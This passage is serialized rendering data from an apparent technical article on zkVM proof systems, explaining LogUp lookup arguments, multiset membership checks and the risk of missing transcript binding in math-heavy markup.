3760],[],{"type":26,"tag":475,"props":112466,"children":112468},{"className":112467,"style":111669},[111668],[112469],{"type":26,"tag":475,"props":112470,"children":112472},{"className":112471},[3719],[112473],{"type":32,"value":111676},{"type":26,"tag":475,"props":112475,"children":112477},{"className":112476},[21453],[112478],{"type":32,"value":21456},{"type":26,"tag":475,"props":112480,"children":112482},{"className":112481},[3746],[112483],{"type":26,"tag":475,"props":112484,"children":112486},{"className":112485,"style":111689},[3751],[112487],{"type":26,"tag":475,"props":112488,"children":112489},{},[],{"type":26,"tag":475,"props":112491,"children":112493},{"className":112492},[21425],[112494],{"type":32,"value":626},{"type":26,"tag":475,"props":112496,"children":112498},{"className":112497},[3719,111628],[112499],{"type":26,"tag":475,"props":112500,"children":112502},{"className":112501},[3741],[112503],{"type":26,"tag":475,"props":112504,"children":112506},{"className":112505},[3746],[112507],{"type":26,"tag":475,"props":112508,"children":112510},{"className":112509,"style":111714},[3751],[112511,112523],{"type":26,"tag":475,"props":112512,"children":112513},{"style":111645},[112514,112518],{"type":26,"tag":475,"props":112515,"children":112517},{"className":112516,"style":111650},[3760],[],{"type":26,"tag":475,"props":112519,"children":112521},{"className":112520,"style":92667},[3719,21296],[112522],{"type":32,"value":93486},{"type":26,"tag":475,"props":112524,"children":112525},{"style":111645},[112526,112530],{"type":26,"tag":475,"props":112527,"children":112529},{"className":112528,"style":111650},[3760],[],{"type":26,"tag":475,"props":112531,"children":112533},{"className":112532,"style":111738},[111668],[112534],{"type":26,"tag":475,"props":112535,"children":112537},{"className":112536,"style":111744},[111743],[112538],{"type":26,"tag":33968,"props":112539,"children":112540},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112541],{"type":26,"tag":111756,"props":112542,"children":112543},{"d":111758},[],{"type":26,"tag":475,"props":112545,"children":112547},{"className":112546},[21447],[112548],{"type":32,"value":2835},{"type":32,"value":112550}," is linear in the table values ",{"type":26,"tag":53,"props":112552,"children":112554},{"className":112553},[3691,3692],[112555],{"type":26,"tag":475,"props":112556,"children":112558},{"className":112557},[3697],[112559],{"type":26,"tag":475,"props":112560,"children":112562},{"className":112561,"ariaHidden":3703},[3702],[112563],{"type":26,"tag":475,"props":112564,"children":112566},{"className":112565},[3708],[112567,112571,112576,112581,112630],{"type":26,"tag":475,"props":112568,"children":112570},{"className":112569,"style":112057},[3713],[],{"type":26,"tag":475,"props":112572,"children":112574},{"className":112573,"style":95021},[3719,21296],[112575],{"type":32,"value":32782},{"type":26,"tag":475,"props":112577,"children":112579},{"className":112578},[21425],[112580],{"type":32,"value":626},{"type":26,"tag":475,"props":112582,"children":112584},{"className":112583},[3719,111628],[112585],{"type":26,"tag":475,"props":112586,"children":112588},{"className":112587},[3741],[112589],{"type":26,"tag":475,"props":112590,"children":112592},{"className":112591},[3746],[112593],{"type":26,"tag":475,"props":112594,"children":112596},{"className":112595,"style":111844},[3751],[112597,112609],{"type":26,"tag":475,"props":112598,"children":112599},{"style":111645},[112600,112604],{"type":26,"tag":475,"props":112601,"children":112603},{"className":112602,"style":111650},[3760],[],{"type":26,"tag":475,"props":112605,"children":112607},{"className":112606},[3719,21296],[112608],{"type":32,"value":2930},{"type":26,"tag":475,"props":112610,"children":112611},{"style":112012},[112612,112616],{"type":26,"tag":475,"props":112613,"children":112615},{"className":112614,"style":111650},[3760],[],{"type":26,"tag":475,"props":112617,"children":112619},{"className":112618,"style":111871},[111668],[112620],{"type":26,"tag":475,"props":112621,"children":112623},{"className":112622,"style":111744},[111743],[112624],{"type":26,"tag":33968,"props":112625,"children":112626},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112627],{"type":26,"tag":111756,"props":112628,"children":112629},{"d":111758},[],{"type":26,"tag":475,"props":112631,"children":112633},{"className":112632},[21447],[112634],{"type":32,"value":2835},{"type":32,"value":353},{"type":26,"tag":35,"props":112637,"children":112638},{},[112639,112641,112710],{"type":32,"value":112640},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":26,"tag":53,"props":112642,"children":112644},{"className":112643},[3691,3692],[112645],{"type":26,"tag":475,"props":112646,"children":112648},{"className":112647},[3697],[112649],{"type":26,"tag":475,"props":112650,"children":112652},{"className":112651,"ariaHidden":3703},[3702],[112653],{"type":26,"tag":475,"props":112654,"children":112656},{"className":112655},[3708],[112657,112661],{"type":26,"tag":475,"props":112658,"children":112660},{"className":112659,"style":111714},[3713],[],{"type":26,"tag":475,"props":112662,"children":112664},{"className":112663},[3719,111628],[112665],{"type":26,"tag":475,"props":112666,"children":112668},{"className":112667},[3741],[112669],{"type":26,"tag":475,"props":112670,"children":112672},{"className":112671},[3746],[112673],{"type":26,"tag":475,"props":112674,"children":112676},{"className":112675,"style":111714},[3751],[112677,112689],{"type":26,"tag":475,"props":112678,"children":112679},{"style":111645},[112680,112684],{"type":26,"tag":475,"props":112681,"children":112683},{"className":112682,"style":111650},[3760],[],{"type":26,"tag":475,"props":112685,"children":112687},{"className":112686,"style":92667},[3719,21296],[112688],{"type":32,"value":93486},{"type":26,"tag":475,"props":112690,"children":112691},{"style":111645},[112692,112696],{"type":26,"tag":475,"props":112693,"children":112695},{"className":112694,"style":111650},[3760],[],{"type":26,"tag":475,"props":112697,"children":112699},{"className":112698,"style":111738},[111668],[112700],{"type":26,"tag":475,"props":112701,"children":112703},{"className":112702,"style":111744},[111743],[112704],{"type":26,"tag":33968,"props":112705,"children":112706},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112707],{"type":26,"tag":111756,"props":112708,"children":112709},{"d":111758},[],{"type":32,"value":112711}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":26,"tag":41,"props":112713,"children":112715},{"id":112714},"lookup-arguments-logup",[112716],{"type":32,"value":112717},"Lookup Arguments (LogUp)",{"type":26,"tag":35,"props":112719,"children":112720},{},[112721],{"type":32,"value":112722},"zkVMs need to check that values satisfy certain properties. For example:",{"type":26,"tag":82,"props":112724,"children":112725},{},[112726,112782,112787],{"type":26,"tag":86,"props":112727,"children":112728},{},[112729,112731,112781],{"type":32,"value":112730},"Is this byte in range ",{"type":26,"tag":53,"props":112732,"children":112734},{"className":112733},[3691,3692],[112735],{"type":26,"tag":475,"props":112736,"children":112738},{"className":112737},[3697],[112739],{"type":26,"tag":475,"props":112740,"children":112742},{"className":112741,"ariaHidden":3703},[3702],[112743],{"type":26,"tag":475,"props":112744,"children":112746},{"className":112745},[3708],[112747,112751,112756,112761,112766,112770,112776],{"type":26,"tag":475,"props":112748,"children":112750},{"className":112749,"style":3821},[3713],[],{"type":26,"tag":475,"props":112752,"children":112754},{"className":112753},[21425],[112755],{"type":32,"value":3440},{"type":26,"tag":475,"props":112757,"children":112759},{"className":112758},[3719],[112760],{"type":32,"value":3732},{"type":26,"tag":475,"props":112762,"children":112764},{"className":112763},[3832],[112765],{"type":32,"value":3835},{"type":26,"tag":475,"props":112767,"children":112769},{"className":112768,"style":3839},[3800],[],{"type":26,"tag":475,"props":112771,"children":112773},{"className":112772},[3719],[112774],{"type":32,"value":112775},"255",{"type":26,"tag":475,"props":112777,"children":112779},{"className":112778},[21447],[112780],{"type":32,"value":15117},{"type":32,"value":2863},{"type":26,"tag":86,"props":112783,"children":112784},{},[112785],{"type":32,"value":112786},"Does this opcode decode correctly?",{"type":26,"tag":86,"props":112788,"children":112789},{},[112790],{"type":32,"value":112791},"Is this memory access consistent with previous accesses?",{"type":26,"tag":35,"props":112793,"children":112794},{},[112795,112800],{"type":26,"tag":105,"props":112796,"children":112797},{},[112798],{"type":32,"value":112799},"The naive approach:",{"type":32,"value":112801}," Add constraints for each check. Expensive.",{"type":26,"tag":35,"props":112803,"children":112804},{},[112805,112810,112812,112817],{"type":26,"tag":105,"props":112806,"children":112807},{},[112808],{"type":32,"value":112809},"The clever approach:",{"type":32,"value":112811}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":26,"tag":105,"props":112813,"children":112814},{},[112815],{"type":32,"value":112816},"multiset membership",{"type":32,"value":67489},{"type":26,"tag":35,"props":112819,"children":112820},{},[112821,112826],{"type":26,"tag":105,"props":112822,"children":112823},{},[112824],{"type":32,"value":112825},"LogUp (Logarithmic Derivative):",{"type":32,"value":112827}," Encode multiset membership as a sum of fractions.",{"type":26,"tag":35,"props":112829,"children":112830},{},[112831,112833,112858,112860,112887],{"type":32,"value":112832},"If set ",{"type":26,"tag":53,"props":112834,"children":112836},{"className":112835},[3691,3692],[112837],{"type":26,"tag":475,"props":112838,"children":112840},{"className":112839},[3697],[112841],{"type":26,"tag":475,"props":112842,"children":112844},{"className":112843,"ariaHidden":3703},[3702],[112845],{"type":26,"tag":475,"props":112846,"children":112848},{"className":112847},[3708],[112849,112853],{"type":26,"tag":475,"props":112850,"children":112852},{"className":112851,"style":21291},[3713],[],{"type":26,"tag":475,"props":112854,"children":112856},{"className":112855},[3719,21296],[112857],{"type":32,"value":76396},{"type":32,"value":112859}," should equal set ",{"type":26,"tag":53,"props":112861,"children":112863},{"className":112862},[3691,3692],[112864],{"type":26,"tag":475,"props":112865,"children":112867},{"className":112866},[3697],[112868],{"type":26,"tag":475,"props":112869,"children":112871},{"className":112870,"ariaHidden":3703},[3702],[112872],{"type":26,"tag":475,"props":112873,"children":112875},{"className":112874},[3708],[112876,112880],{"type":26,"tag":475,"props":112877,"children":112879},{"className":112878,"style":21291},[3713],[],{"type":26,"tag":475,"props":112881,"children":112884},{"className":112882,"style":112883},[3719,21296],"margin-right:0.05017em;",[112885],{"type":32,"value":112886},"B",{"type":32,"value":112888}," as multisets:",{"type":26,"tag":35,"props":112890,"children":112891},{},[112892],{"type":26,"tag":53,"props":112893,"children":112895},{"className":112894},[3691,3692],[112896],{"type":26,"tag":475,"props":112897,"children":112899},{"className":112898},[3697],[112900],{"type":26,"tag":475,"props":112901,"children":112903},{"className":112902,"ariaHidden":3703},[3702],[112904,113119],{"type":26,"tag":475,"props":112905,"children":112907},{"className":112906},[3708],[112908,112913,112986,112990,113106,113110,113115],{"type":26,"tag":475,"props":112909,"children":112912},{"className":112910,"style":112911},[3713],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":26,"tag":475,"props":112914,"children":112916},{"className":112915},[21332],[112917,112922],{"type":26,"tag":475,"props":112918,"children":112920},{"className":112919,"style":21339},[21332,21337,21338],[112921],{"type":32,"value":108274},{"type":26,"tag":475,"props":112923,"children":112925},{"className":112924},[3736],[112926],{"type":26,"tag":475,"props":112927,"children":112929},{"className":112928},[3741,21350],[112930,112974],{"type":26,"tag":475,"props":112931,"children":112933},{"className":112932},[3746],[112934,112969],{"type":26,"tag":475,"props":112935,"children":112938},{"className":112936,"style":112937},[3751],"height:0.1786em;",[112939],{"type":26,"tag":475,"props":112940,"children":112941},{"style":21363},[112942,112946],{"type":26,"tag":475,"props":112943,"children":112945},{"className":112944,"style":3761},[3760],[],{"type":26,"tag":475,"props":112947,"children":112949},{"className":112948},[3766,3767,3768,3769],[112950],{"type":26,"tag":475,"props":112951,"children":112953},{"className":112952},[3719,3769],[112954,112959,112964],{"type":26,"tag":475,"props":112955,"children":112957},{"className":112956},[3719,21296,3769],[112958],{"type":32,"value":116},{"type":26,"tag":475,"props":112960,"children":112962},{"className":112961},[3903,3769],[112963],{"type":32,"value":21403},{"type":26,"tag":475,"props":112965,"children":112967},{"className":112966},[3719,21296,3769],[112968],{"type":32,"value":76396},{"type":26,"tag":475,"props":112970,"children":112972},{"className":112971},[21453],[112973],{"type":32,"value":21456},{"type":26,"tag":475,"props":112975,"children":112977},{"className":112976},[3746],[112978],{"type":26,"tag":475,"props":112979,"children":112982},{"className":112980,"style":112981},[3751],"height:0.3271em;",[112983],{"type":26,"tag":475,"props":112984,"children":112985},{},[],{"type":26,"tag":475,"props":112987,"children":112989},{"className":112988,"style":3839},[3800],[],{"type":26,"tag":475,"props":112991,"children":112993},{"className":112992},[3719],[112994,112999,113102],{"type":26,"tag":475,"props":112995,"children":112998},{"className":112996},[21425,112997],"nulldelimiter",[],{"type":26,"tag":475,"props":113000,"children":113003},{"className":113001},[113002],"mfrac",[113004],{"type":26,"tag":475,"props":113005,"children":113007},{"className":113006},[3741,21350],[113008,113090],{"type":26,"tag":475,"props":113009,"children":113011},{"className":113010},[3746],[113012,113085],{"type":26,"tag":475,"props":113013,"children":113016},{"className":113014,"style":113015},[3751],"height:0.8451em;",[113017,113050,113064],{"type":26,"tag":475,"props":113018,"children":113020},{"style":113019},"top:-2.655em;",[113021,113025],{"type":26,"tag":475,"props":113022,"children":113024},{"className":113023,"style":111650},[3760],[],{"type":26,"tag":475,"props":113026,"children":113028},{"className":113027},[3766,3767,3768,3769],[113029],{"type":26,"tag":475,"props":113030,"children":113032},{"className":113031},[3719,3769],[113033,113040,113045],{"type":26,"tag":475,"props":113034,"children":113037},{"className":113035,"style":113036},[3719,21296,3769],"margin-right:0.04398em;",[113038],{"type":32,"value":113039},"z",{"type":26,"tag":475,"props":113041,"children":113043},{"className":113042},[3806,3769],[113044],{"type":32,"value":3780},{"type":26,"tag":475,"props":113046,"children":113048},{"className":113047},[3719,21296,3769],[113049],{"type":32,"value":116},{"type":26,"tag":475,"props":113051,"children":113053},{"style":113052},"top:-3.23em;",[113054,113058],{"type":26,"tag":475,"props":113055,"children":113057},{"className":113056,"style":111650},[3760],[],{"type":26,"tag":475,"props":113059,"children":113063},{"className":113060,"style":113062},[113061],"frac-line","border-bottom-width:0.04em;",[],{"type":26,"tag":475,"props":113065,"children":113067},{"style":113066},"top:-3.394em;",[113068,113072],{"type":26,"tag":475,"props":113069,"children":113071},{"className":113070,"style":111650},[3760],[],{"type":26,"tag":475,"props":113073,"children":113075},{"className":113074},[3766,3767,3768,3769],[113076],{"type":26,"tag":475,"props":113077,"children":113079},{"className":113078},[3719,3769],[113080],{"type":26,"tag":475,"props":113081,"children":113083},{"className":113082},[3719,3769],[113084],{"type":32,"value":3722},{"type":26,"tag":475,"props":113086,"children":113088},{"className":113087},[21453],[113089],{"type":32,"value":21456},{"type":26,"tag":475,"props":113091,"children":113093},{"className":113092},[3746],[113094],{"type":26,"tag":475,"props":113095,"children":113098},{"className":113096,"style":113097},[3751],"height:0.4033em;",[113099],{"type":26,"tag":475,"props":113100,"children":113101},{},[],{"type":26,"tag":475,"props":113103,"children":113105},{"className":113104},[21447,112997],[],{"type":26,"tag":475,"props":113107,"children":113109},{"className":113108,"style":3898},[3800],[],{"type":26,"tag":475,"props":113111,"children":113113},{"className":113112},[3903],[113114],{"type":32,"value":786},{"type":26,"tag":475,"props":113116,"children":113118},{"className":113117,"style":3898},[3800],[],{"type":26,"tag":475,"props":113120,"children":113122},{"className":113121},[3708],[113123,113127,113199,113203],{"type":26,"tag":475,"props":113124,"children":113126},{"className":113125,"style":112911},[3713],[],{"type":26,"tag":475,"props":113128,"children":113130},{"className":113129},[21332],[113131,113136],{"type":26,"tag":475,"props":113132,"children":113134},{"className":113133,"style":21339},[21332,21337,21338],[113135],{"type":32,"value":108274},{"type":26,"tag":475,"props":113137,"children":113139},{"className":113138},[3736],[113140],{"type":26,"tag":475,"props":113141,"children":113143},{"className":113142},[3741,21350],[113144,113188],{"type":26,"tag":475,"props":113145,"children":113147},{"className":113146},[3746],[113148,113183],{"type":26,"tag":475,"props":113149,"children":113152},{"className":113150,"style":113151},[3751],"height:0.1864em;",[113153],{"type":26,"tag":475,"props":113154,"children":113155},{"style":21363},[113156,113160],{"type":26,"tag":475,"props":113157,"children":113159},{"className":113158,"style":3761},[3760],[],{"type":26,"tag":475,"props":113161,"children":113163},{"className":113162},[3766,3767,3768,3769],[113164],{"type":26,"tag":475,"props":113165,"children":113167},{"className":113166},[3719,3769],[113168,113173,113178],{"type":26,"tag":475,"props":113169,"children":113171},{"className":113170},[3719,21296,3769],[113172],{"type":32,"value":2930},{"type":26,"tag":475,"props":113174,"children":113176},{"className":113175},[3903,3769],[113177],{"type":32,"value":21403},{"type":26,"tag":475,"props":113179,"children":113181},{"className":113180,"style":112883},[3719,21296,3769],[113182],{"type":32,"value":112886},{"type":26,"tag":475,"props":113184,"children":113186},{"className":113185},[21453],[113187],{"type":32,"value":21456},{"type":26,"tag":475,"props":113189,"children":113191},{"className":113190},[3746],[113192],{"type":26,"tag":475,"props":113193,"children":113195},{"className":113194,"style":112981},[3751],[113196],{"type":26,"tag":475,"props":113197,"children":113198},{},[],{"type":26,"tag":475,"props":113200,"children":113202},{"className":113201,"style":3839},[3800],[],{"type":26,"tag":475,"props":113204,"children":113206},{"className":113205},[3719],[113207,113211,113304],{"type":26,"tag":475,"props":113208,"children":113210},{"className":113209},[21425,112997],[],{"type":26,"tag":475,"props":113212,"children":113214},{"className":113213},[113002],[113215],{"type":26,"tag":475,"props":113216,"children":113218},{"className":113217},[3741,21350],[113219,113293],{"type":26,"tag":475,"props":113220,"children":113222},{"className":113221},[3746],[113223,113288],{"type":26,"tag":475,"props":113224,"children":113226},{"className":113225,"style":113015},[3751],[113227,113257,113268],{"type":26,"tag":475,"props":113228,"children":113229},{"style":113019},[113230,113234],{"type":26,"tag":475,"props":113231,"children":113233},{"className":113232,"style":111650},[3760],[],{"type":26,"tag":475,"props":113235,"children":113237},{"className":113236},[3766,3767,3768,3769],[113238],{"type":26,"tag":475,"props":113239,"children":113241},{"className":113240},[3719,3769],[113242,113247,113252],{"type":26,"tag":475,"props":113243,"children":113245},{"className":113244,"style":113036},[3719,21296,3769],[113246],{"type":32,"value":113039},{"type":26,"tag":475,"props":113248,"children":113250},{"className":113249},[3806,3769],[113251],{"type":32,"value":3780},{"type":26,"tag":475,"props":113253,"children":113255},{"className":113254},[3719,21296,3769],[113256],{"type":32,"value":2930},{"type":26,"tag":475,"props":113258,"children":113259},{"style":113052},[113260,113264],{"type":26,"tag":475,"props":113261,"children":113263},{"className":113262,"style":111650},[3760],[],{"type":26,"tag":475,"props":113265,"children":113267},{"className":113266,"style":113062},[113061],[],{"type":26,"tag":475,"props":113269,"children":113270},{"style":113066},[113271,113275],{"type":26,"tag":475,"props":113272,"children":113274},{"className":113273,"style":111650},[3760],[],{"type":26,"tag":475,"props":113276,"children":113278},{"className":113277},[3766,3767,3768,3769],[113279],{"type":26,"tag":475,"props":113280,"children":113282},{"className":113281},[3719,3769],[113283],{"type":26,"tag":475,"props":113284,"children":113286},{"className":113285},[3719,3769],[113287],{"type":32,"value":3722},{"type":26,"tag":475,"props":113289,"children":113291},{"className":113290},[21453],[113292],{"type":32,"value":21456},{"type":26,"tag":475,"props":113294,"children":113296},{"className":113295},[3746],[113297],{"type":26,"tag":475,"props":113298,"children":113300},{"className":113299,"style":113097},[3751],[113301],{"type":26,"tag":475,"props":113302,"children":113303},{},[],{"type":26,"tag":475,"props":113305,"children":113307},{"className":113306},[21447,112997],[],{"type":26,"tag":35,"props":113309,"children":113310},{},[113311,113313,113338],{"type":32,"value":113312},"for random challenge ",{"type":26,"tag":53,"props":113314,"children":113316},{"className":113315},[3691,3692],[113317],{"type":26,"tag":475,"props":113318,"children":113320},{"className":113319},[3697],[113321],{"type":26,"tag":475,"props":113322,"children":113324},{"className":113323,"ariaHidden":3703},[3702],[113325],{"type":26,"tag":475,"props":113326,"children":113328},{"className":113327},[3708],[113329,113333],{"type":26,"tag":475,"props":113330,"children":113332},{"className":113331,"style":110320},[3713],[],{"type":26,"tag":475,"props":113334,"children":113336},{"className":113335,"style":113036},[3719,21296],[113337],{"type":32,"value":113039},{"type":32,"value":113339},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":26,"tag":35,"props":113341,"children":113342},{},[113343,113348],{"type":26,"tag":105,"props":113344,"children":113345},{},[113346],{"type":32,"value":113347},"In zkVMs:",{"type":32,"value":113349}," Different components emit and consume lookup tuples:",{"type":26,"tag":82,"props":113351,"children":113352},{},[113353,113440],{"type":26,"tag":86,"props":113354,"children":113355},{},[113356,113358,113384,113386,113411,113413,113439],{"type":32,"value":113357},"CPU emits: \"I read value ",{"type":26,"tag":53,"props":113359,"children":113361},{"className":113360},[3691,3692],[113362],{"type":26,"tag":475,"props":113363,"children":113365},{"className":113364},[3697],[113366],{"type":26,"tag":475,"props":113367,"children":113369},{"className":113368,"ariaHidden":3703},[3702],[113370],{"type":26,"tag":475,"props":113371,"children":113373},{"className":113372},[3708],[113374,113378],{"type":26,"tag":475,"props":113375,"children":113377},{"className":113376,"style":110320},[3713],[],{"type":26,"tag":475,"props":113379,"children":113381},{"className":113380,"style":93153},[3719,21296],[113382],{"type":32,"value":113383},"v",{"type":32,"value":113385}," from address ",{"type":26,"tag":53,"props":113387,"children":113389},{"className":113388},[3691,3692],[113390],{"type":26,"tag":475,"props":113391,"children":113393},{"className":113392},[3697],[113394],{"type":26,"tag":475,"props":113395,"children":113397},{"className":113396,"ariaHidden":3703},[3702],[113398],{"type":26,"tag":475,"props":113399,"children":113401},{"className":113400},[3708],[113402,113406],{"type":26,"tag":475,"props":113403,"children":113405},{"className":113404,"style":110320},[3713],[],{"type":26,"tag":475,"props":113407,"children":113409},{"className":113408},[3719,21296],[113410],{"type":32,"value":116},{"type":32,"value":113412}," at time ",{"type":26,"tag":53,"props":113414,"children":113416},{"className":113415},[3691,3692],[113417],{"type":26,"tag":475,"props":113418,"children":113420},{"className":113419},[3697],[113421],{"type":26,"tag":475,"props":113422,"children":113424},{"className":113423,"ariaHidden":3703},[3702],[113425],{"type":26,"tag":475,"props":113426,"children":113428},{"className":113427},[3708],[113429,113434],{"type":26,"tag":475,"props":113430,"children":113433},{"className":113431,"style":113432},[3713],"height:0.6151em;",[],{"type":26,"tag":475,"props":113435,"children":113437},{"className":113436},[3719,21296],[113438],{"type":32,"value":21438},{"type":32,"value":727},{"type":26,"tag":86,"props":113441,"children":113442},{},[113443,113445,113470,113472,113497,113499,113524],{"type":32,"value":113444},"Memory table consumes: \"At time ",{"type":26,"tag":53,"props":113446,"children":113448},{"className":113447},[3691,3692],[113449],{"type":26,"tag":475,"props":113450,"children":113452},{"className":113451},[3697],[113453],{"type":26,"tag":475,"props":113454,"children":113456},{"className":113455,"ariaHidden":3703},[3702],[113457],{"type":26,"tag":475,"props":113458,"children":113460},{"className":113459},[3708],[113461,113465],{"type":26,"tag":475,"props":113462,"children":113464},{"className":113463,"style":113432},[3713],[],{"type":26,"tag":475,"props":113466,"children":113468},{"className":113467},[3719,21296],[113469],{"type":32,"value":21438},{"type":32,"value":113471},", address ",{"type":26,"tag":53,"props":113473,"children":113475},{"className":113474},[3691,3692],[113476],{"type":26,"tag":475,"props":113477,"children":113479},{"className":113478},[3697],[113480],{"type":26,"tag":475,"props":113481,"children":113483},{"className":113482,"ariaHidden":3703},[3702],[113484],{"type":26,"tag":475,"props":113485,"children":113487},{"className":113486},[3708],[113488,113492],{"type":26,"tag":475,"props":113489,"children":113491},{"className":113490,"style":110320},[3713],[],{"type":26,"tag":475,"props":113493,"children":113495},{"className":113494},[3719,21296],[113496],{"type":32,"value":116},{"type":32,"value":113498}," contained ",{"type":26,"tag":53,"props":113500,"children":113502},{"className":113501},[3691,3692],[113503],{"type":26,"tag":475,"props":113504,"children":113506},{"className":113505},[3697],[113507],{"type":26,"tag":475,"props":113508,"children":113510},{"className":113509,"ariaHidden":3703},[3702],[113511],{"type":26,"tag":475,"props":113512,"children":113514},{"className":113513},[3708],[113515,113519],{"type":26,"tag":475,"props":113516,"children":113518},{"className":113517,"style":110320},[3713],[],{"type":26,"tag":475,"props":113520,"children":113522},{"className":113521,"style":93153},[3719,21296],[113523],{"type":32,"value":113383},{"type":32,"value":727},{"type":26,"tag":35,"props":113526,"children":113527},{},[113528],{"type":32,"value":113529},"If everything balances, the execution is consistent.",{"type":26,"tag":35,"props":113531,"children":113532},{},[113533,113538],{"type":26,"tag":105,"props":113534,"children":113535},{},[113536],{"type":32,"value":113537},"The claimed_sum:",{"type":32,"value":113539}," Each component computes its contribution to the LogUp sum:",{"type":26,"tag":35,"props":113541,"children":113542},{},[113543],{"type":26,"tag":53,"props":113544,"children":113546},{"className":113545},[3691,3692],[113547],{"type":26,"tag":475,"props":113548,"children":113550},{"className":113549},[3697],[113551],{"type":26,"tag":475,"props":113552,"children":113554},{"className":113553,"ariaHidden":3703},[3702],[113555,113653,113904],{"type":26,"tag":475,"props":113556,"children":113558},{"className":113557},[3708],[113559,113563,113573,113578,113640,113644,113649],{"type":26,"tag":475,"props":113560,"children":113562},{"className":113561,"style":94080},[3713],[],{"type":26,"tag":475,"props":113564,"children":113566},{"className":113565},[3719,32],[113567],{"type":26,"tag":475,"props":113568,"children":113570},{"className":113569},[3719],[113571],{"type":32,"value":113572},"claimed",{"type":26,"tag":475,"props":113574,"children":113576},{"className":113575,"style":92667},[3719],[113577],{"type":32,"value":2789},{"type":26,"tag":475,"props":113579,"children":113581},{"className":113580},[3719],[113582,113591],{"type":26,"tag":475,"props":113583,"children":113585},{"className":113584},[3719,32],[113586],{"type":26,"tag":475,"props":113587,"children":113589},{"className":113588},[3719],[113590],{"type":32,"value":76261},{"type":26,"tag":475,"props":113592,"children":113594},{"className":113593},[3736],[113595],{"type":26,"tag":475,"props":113596,"children":113598},{"className":113597},[3741,21350],[113599,113629],{"type":26,"tag":475,"props":113600,"children":113602},{"className":113601},[3746],[113603,113624],{"type":26,"tag":475,"props":113604,"children":113606},{"className":113605,"style":93196},[3751],[113607],{"type":26,"tag":475,"props":113608,"children":113610},{"style":113609},"top:-2.55em;margin-right:0.05em;",[113611,113615],{"type":26,"tag":475,"props":113612,"children":113614},{"className":113613,"style":3761},[3760],[],{"type":26,"tag":475,"props":113616,"children":113618},{"className":113617},[3766,3767,3768,3769],[113619],{"type":26,"tag":475,"props":113620,"children":113622},{"className":113621},[3719,21296,3769],[113623],{"type":32,"value":3445},{"type":26,"tag":475,"props":113625,"children":113627},{"className":113626},[21453],[113628],{"type":32,"value":21456},{"type":26,"tag":475,"props":113630,"children":113632},{"className":113631},[3746],[113633],{"type":26,"tag":475,"props":113634,"children":113636},{"className":113635,"style":92750},[3751],[113637],{"type":26,"tag":475,"props":113638,"children":113639},{},[],{"type":26,"tag":475,"props":113641,"children":113643},{"className":113642,"style":3898},[3800],[],{"type":26,"tag":475,"props":113645,"children":113647},{"className":113646},[3903],[113648],{"type":32,"value":786},{"type":26,"tag":475,"props":113650,"children":113652},{"className":113651,"style":3898},[3800],[],{"type":26,"tag":475,"props":113654,"children":113656},{"className":113655},[3708],[113657,113662,113722,113726,113891,113895,113900],{"type":26,"tag":475,"props":113658,"children":113661},{"className":113659,"style":113660},[3713],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":26,"tag":475,"props":113663,"children":113665},{"className":113664},[21332],[113666,113671],{"type":26,"tag":475,"props":113667,"children":113669},{"className":113668,"style":21339},[21332,21337,21338],[113670],{"type":32,"value":108274},{"type":26,"tag":475,"props":113672,"children":113674},{"className":113673},[3736],[113675],{"type":26,"tag":475,"props":113676,"children":113678},{"className":113677},[3741,21350],[113679,113710],{"type":26,"tag":475,"props":113680,"children":113682},{"className":113681},[3746],[113683,113705],{"type":26,"tag":475,"props":113684,"children":113687},{"className":113685,"style":113686},[3751],"height:0.162em;",[113688],{"type":26,"tag":475,"props":113689,"children":113690},{"style":21363},[113691,113695],{"type":26,"tag":475,"props":113692,"children":113694},{"className":113693,"style":3761},[3760],[],{"type":26,"tag":475,"props":113696,"children":113698},{"className":113697},[3766,3767,3768,3769],[113699],{"type":26,"tag":475,"props":113700,"children":113703},{"className":113701,"style":113702},[3719,21296,3769],"margin-right:0.05724em;",[113704],{"type":32,"value":8368},{"type":26,"tag":475,"props":113706,"children":113708},{"className":113707},[21453],[113709],{"type":32,"value":21456},{"type":26,"tag":475,"props":113711,"children":113713},{"className":113712},[3746],[113714],{"type":26,"tag":475,"props":113715,"children":113718},{"className":113716,"style":113717},[3751],"height:0.4358em;",[113719],{"type":26,"tag":475,"props":113720,"children":113721},{},[],{"type":26,"tag":475,"props":113723,"children":113725},{"className":113724,"style":3839},[3800],[],{"type":26,"tag":475,"props":113727,"children":113729},{"className":113728},[3719],[113730,113734,113887],{"type":26,"tag":475,"props":113731,"children":113733},{"className":113732},[21425,112997],[],{"type":26,"tag":475,"props":113735,"children":113737},{"className":113736},[113002],[113738],{"type":26,"tag":475,"props":113739,"children":113741},{"className":113740},[3741,21350],[113742,113875],{"type":26,"tag":475,"props":113743,"children":113745},{"className":113744},[3746],[113746,113870],{"type":26,"tag":475,"props":113747,"children":113749},{"className":113748,"style":113015},[3751],[113750,113839,113850],{"type":26,"tag":475,"props":113751,"children":113752},{"style":113019},[113753,113757],{"type":26,"tag":475,"props":113754,"children":113756},{"className":113755,"style":111650},[3760],[],{"type":26,"tag":475,"props":113758,"children":113760},{"className":113759},[3766,3767,3768,3769],[113761],{"type":26,"tag":475,"props":113762,"children":113764},{"className":113763},[3719,3769],[113765,113770,113775],{"type":26,"tag":475,"props":113766,"children":113768},{"className":113767,"style":113036},[3719,21296,3769],[113769],{"type":32,"value":113039},{"type":26,"tag":475,"props":113771,"children":113773},{"className":113772},[3806,3769],[113774],{"type":32,"value":3780},{"type":26,"tag":475,"props":113776,"children":113778},{"className":113777},[3719,3769],[113779,113788],{"type":26,"tag":475,"props":113780,"children":113782},{"className":113781},[3719,32,3769],[113783],{"type":26,"tag":475,"props":113784,"children":113786},{"className":113785},[3719,3769],[113787],{"type":32,"value":61700},{"type":26,"tag":475,"props":113789,"children":113791},{"className":113790},[3736],[113792],{"type":26,"tag":475,"props":113793,"children":113795},{"className":113794},[3741,21350],[113796,113827],{"type":26,"tag":475,"props":113797,"children":113799},{"className":113798},[3746],[113800,113822],{"type":26,"tag":475,"props":113801